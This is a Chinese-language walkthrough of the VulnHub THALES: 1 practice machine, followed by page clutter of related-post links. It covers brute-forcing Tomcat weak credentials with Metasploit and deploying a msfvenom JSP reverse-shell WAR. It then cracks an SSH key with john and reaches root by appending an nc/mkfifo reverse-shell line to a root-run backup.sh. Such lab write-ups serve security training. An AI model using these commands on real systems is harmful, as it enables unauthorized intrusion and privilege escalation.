准备:

攻击机:虚拟机kali、本机win10。

靶机:THALES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/thales/Thales.zip,下载解压后直接vbox打开即可。

目标:获取user.txt和root.txt。

知识点:shell反弹、权限提升、tomcat弱口令、密匙破解(john)

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.167。这里因为是在酒店,这里连的的都是一个网络,所以加了-sn,不然比较慢。

扫描下开放的端口与对应的服务:nmap -T4 -sV -p- -A 192.168.100.167,显示开放了22和8080端口。

使用dirmap进行目录扫描,但是未发现有用的目录信息,访问:http://192.168.100.167:8080/,发现是tomcat界面,在页面点击时发现需要登录。

爆破tomcat弱口令:

这里想到了之前的tomcat弱口令的问题(vuhub上也有这个的模拟环境),因此使用msf尝试爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然后找到用于爆破弱口令的并使用。

使用方式:use 19,然后设置下目标主机:set rhost 192.168.100.167,(可以show options查看当前配置的信息),然后run即可。成功获得账户名和密码:tomcat/role1。

使用爆破获得账户名和密码:tomcat/role1,成功登录到管理界面。

获取shell权限:

在应用程序列表中我们可以进行文件上传和服务部署,因此构造一个反弹shell进行部署,生成反弹shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali开启监听:nc -lvp 6688,然后将upfine.war文件进行上传部署并访问,成功获得shell权限。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell窗口。

提权至thales:

在home/thales文件夹下发现了:notes.txt、user.txt、.ssh等文件,读取下相关文件,告诉我们存在一个backup.sh脚本,user.txt文件无权限读取,尝试使用密码:role1进行尝试,但是不对。

那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,发现该文件具有root权限,文件内容定义的是备份什么内容,备份到哪去,备份方法和名称等信息,这里我们可以写入一个反弹shell,那在调用的时候就可以反弹一个root权限的shell,但是tomcat账户按这样操作后显示仍是tomcat权限。

在.ssh下发现密匙:id_rsa文件,将密匙文件复制保存到本地文件upfine,然后命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密码本,然后命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd进行破解,成功获取密码:vodka06

切换thales账户:su thales,读取下user.txt文件,成功获取到flag信息。

提权至root:

根据上面的我们发现的backup.sh文件具有root权限,那我们就插入一个反弹shell,然后执行backup.sh脚本,成功获取root权限读取到root.txt。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh 

vulnhub靶场之THALES: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

随机推荐

  1. java-循环的应用环境以及数组的创建

    1.三种循环结构的更佳适用情况: 1)while:"当..."循环 2)do...while:"直到..."循环 要素1与要素3相同时首选do...while ...

  2. Spring 02: Spring接管下的三层项目架构

    业务背景 需求:使用三层架构开发,将用户信息导入到数据库中 目标:初步熟悉三层架构开发 核心操作:开发两套项目,对比Spring接管下的三层项目构建和传统三层项目构建的区别 注意:本例中的数据访问层, ...

  3. ENSP NE40E 报错(NE1启动操作超时,请检查与服务器链接后重试!)

    前言:某网友淘宝找我咨询NE40E启动失败的问题,事后我整理的处理过程,供各位同行参考. 系统版本:windows 10 软件版本: ENSP:V100R003C00 virtual BOX:5.2. ...

  4. Web 前端实战:雷达图

    前言 在Canvas 线性图形(五):多边形实现了绘制多边形的函数.本篇文章将记录如何绘制雷达图.最终实现的效果是这样的: 绘制雷达图 雷达图里外层 如动图中所示,雷达图从里到外一共有 6 层,所以, ...

  5. Configuration的学习

    创建 //1.创建,调用的空惨 Configuration conf = new Configuration(); 加载主配置 //2.读取主配置文件==>如果是空参方法则自动加载sec下的re ...

  6. Java接口自动化测试框架系列(一)自动化测试框架

    一.什么是自动化测试 自动化测试是把以人为驱动的测试行为转化为机器执行的一种过程. 通常,在设计了测试用例并通过评审之后,由测试人员根据测试用例一步步执行测试,得到实际结果与期望结果的比较. 为了节省 ...

  7. 仙人指路,引而不发,Go lang1.18入门精炼教程,由白丁入鸿儒,Golang中New和Make函数的使用背景和区别EP16

    Golang只有二十五个系统保留关键字,二十几个系统内置函数,加起来只有五十个左右需要记住的关键字,纵观编程宇宙,无人能出其右.其中还有一些保留关键字属于"锦上添花",什么叫锦上添 ...

  8. Java中的StringBuilder和StringBuffer适用场景

    我不知道为什么这个这么老的问题会出现在我的时间线上,看了一下回答,大多是2012,2013年的回答,照说那个年代,有些历史故事还很新鲜,却不知道为什么没有一个答案说到点子上. stringbuffer ...

  9. Kubernetes 中部署 MySQL 集群

    文章转载自:https://www.cnblogs.com/ludongguoa/p/15319861.html 一般情况下 Kubernetes 可以通过 ReplicaSet 以一个 Pod 模板 ...

  10. Dockerfile文件全面详解

    Docker 可以通过读取 Dockerfile 中的指令自动构建镜像.Dockerfile 是一个文本文档,其中包含了用户创建镜像的所有命令和说明. 一. 变量 变量用 $variable_name ...